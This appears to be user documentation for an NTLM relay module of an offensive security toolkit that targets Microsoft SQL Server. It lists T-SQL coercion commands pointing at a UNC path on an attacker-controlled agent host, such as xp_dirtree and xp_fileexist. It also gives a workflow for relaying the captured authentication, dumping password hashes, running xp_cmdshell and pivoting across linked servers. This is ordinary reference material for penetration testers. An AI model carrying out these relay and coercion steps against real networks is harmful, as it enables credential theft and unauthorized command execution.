RelayMSSQL Server
The RelayMSSQL server is the NTLM relay variant aimed at Microsoft SQL Server
back-ends. Inbound NTLM authentications are forwarded into a fresh MSSQLConnection
against one of the configured targets, and on success the connection is wrapped into a
real interactive MSSQL client session in the project — already authenticated, ready
to issue queries, abuse xp_cmdshell, dump password hashes from sys.sql_logins, jump
across linked servers, and so on.
| Inbound listener (front) | Outbound target (back) |
|---|---|
smb, http, https, httpproxy, mssql |
MSSQL TDS on targets:targetport |
The listener side is shared with the rest of the relay family — see the
"Listener-side parameters (shared)" section in RELAYSMB
for the full reference. This page documents only the MSSQL-specific parameters and
behaviour.
How it works
- Bring up one or more listeners on the agent host.
- A SQL Server service account authenticates to one of those listeners — typically
because it was coerced via T-SQL functions that touch a UNC path
(
xp_dirtree,xp_fileexist,BULK INSERT FROM '\\agent\share\file',bcp outto a UNC, etc.). The SQL Server service account itself authenticates outbound to the agent. - The captured NTLM exchange is shuttled into a fresh outbound TDS connection against
the next entry in
targets:targetport. Targets are walked round-robin. - The relay is verified by issuing
SELECT @@versionover the relayed session — if that returns, the relay is considered successful. - The captured Net-NTLM hash is added to the project's Credentials Hub with
source = RELAYED. - A new interactive MSSQL client session is created with
description = RELAYEDand bound to the relayed connection viasetup_relay(). From here every command in the MSSQL client —query,xpcmdshell,dumphashes,enumlinks,uselink, the SQL Browser GUI, etc. — runs against the relayed instance.
MSSQL relays don't usually require signing checks
SMB-signing and LDAP-signing are the typical relay-killers; MSSQL has no equivalent signing requirement at the TDS layer (TDS encryption / TLS is a separate concern and is supported transparently). What you need instead is a SQL Server that is willing to accept integrated authentication (NTLM / SPNEGO over TDS), which is every default MSSQL install on a domain-joined host.
Coercion paths from SQL Server
The most useful pattern for RELAYMSSQL is chaining — start with a low-privilege
foothold on one SQL instance and use it to coerce the service account of another
instance (or even the same one) to authenticate to the agent. Common T-SQL coercion
primitives, all available from the MSSQL client:
| Primitive | Notes |
|---|---|
EXEC xp_dirtree '\\agent\share', 1, 1 |
Most reliable; usually allowed for any login. |
EXEC xp_fileexist '\\agent\share\file' |
Same effect, slightly different code path. |
EXEC xp_subdirs '\\agent\share' |
Same family. |
BULK INSERT t FROM '\\agent\share\file' WITH (...) |
Requires ADMINISTER BULK OPERATIONS; rarely available. |
EXEC sp_addlinkedserver '\\agent\share' |
Triggers a TDS-level outbound auth toward the linked target. |
The MSSQL client exposes a coerce command that wraps these — see
MSSQL client → coerce. Combined with RELAYMSSQL on
the agent side, you can pivot from db_owner on instance A to service-account
authenticated on instance B in a single hop.
For non-SQL coercion (PrinterBug, MS-EFSRPC, WebDAV, …) the inbound path lands on the
SMB / HTTP listener exactly the same as for RELAYSMB; the only difference here is
that the back-end is a SQL Server.
Operational requirements
The same requirements as the rest of the relay family apply — see
RELAYSMB Operational requirements. Two
MSSQL-specific notes:
- The MSSQL listener (
servertypes=...,mssqlon port1433) is only useful when you expect a SQL Server to connect outbound over TDS to the agent — typically viasp_addlinkedservercoercion or a misconfigured linked-server pointing at the agent IP. The defaultservertypesdoes not includemssql; add it explicitly when needed. - The agent must reach
1433/TCP(ortargetport) on the SQL Server hosts intargets. If the agent is behind a wsnet proxy, setconnectproxyso the outbound TDS connection routes through it as well.
Relay-specific parameters
These are the parameters unique to RELAYMSSQL. See
RELAYSMB for the listener-side parameters
shared by every relay variant.
Normal parameters
targets
Comma-separated list of MSSQL targets (hostnames or IP addresses). Required. Walked round-robin: each new captured authentication is sent to the next entry.
Advanced parameters
targetport
Default: 1433. The TCP port targets listen on for TDS. Override this for non-default
or named-instance ports. The same value is used to populate the spawned interactive
client's port parameter so subsequent commands in that session connect to the right
endpoint.
connectproxy
Proxy ID for the outbound TDS connection. Independent from serverproxy. On WASM
this is auto-set to 0 if unset.
Commands
The standard ScannerConsoleBase commands apply (setparam, getparam, params,
info, serve, stop, historylist, …):
serve
Bring up the configured listeners and the relay-handler task. Each captured authentication
is shuttled into handle_mssql_relay, which opens an outbound TDS connection per target
and (on success) spawns a fresh interactive MSSQL client session.
stop
Stop all listener tasks and the relay-handler task. Interactive MSSQL sessions spawned by previous successful relays are not closed.
Typical workflow
- Identify accessible SQL Server hosts. Run
mssqlfingerover your target range to find live instances and their TCP ports. - Start
RELAYMSSQLwithtargets=<list of SQL Server hosts>and (if needed)targetport=<port>. Leave the defaultservertypesfor SMB-bound coercion paths; addmssqlif you plan to use linked-server coercion. - Drive a SQL coercion from a separate session. From an existing MSSQL client
(even a low-privilege one), call
coercewith the agent's IP as the listener. The SQL Server service account will authenticate outbound to the agent. - Watch the relay console. A successful relay prints
MSSQL relay worked!and a new session ID. Switch to that session — you have an authenticated MSSQL client on the relayed instance, running as the service account. - Pivot inside SQL Server. From the relayed session, dump password hashes
(
dumphashes), enumerate linked servers (enumlinks), execute commands viaxpcmdshell, etc. See MSSQL client for the full command set.
Limitations & gotchas
- TDS encryption / TLS is handled transparently by the underlying
atdslibrary; there is no equivalent of the SMB-signing kill-switch here. If a relay fails it is almost always at the authentication stage, not the transport stage. SELECT @@versionis the liveness check. A target that accepts the relayed authentication but refuses the query (e.g. an extremeDENY EXECUTElockdown) will be reported as a failed relay. Look for the verification log line in the server console withdebug=True.RELAYMSSQLdoes not auto-loot. UnlikeRELAYSMB, no automatic post-relay actions run. If you want to dump password hashes immediately on successful relay, do it from the spawned session.- Service-account context, not interactive user. Authentications coerced from a
SQL Server are by the service account (
NT Service\MSSQLSERVER,<DOMAIN>\<host>$, or a configured domain account), not by the SQL login that triggered the coercion. Plan downstream attacks against that account, not the triggering user. - NTLM-only coercion. SQL coercion produces NTLM authentication outbound; this is what the relay needs. Kerberos service-account coercion (when the SQL Server has a registered SPN and the coercion path is a hostname) does not relay.
- The MSSQL listener is off by default in
servertypes. Addmssqlexplicitly when you intend to catch outbound TDS auth.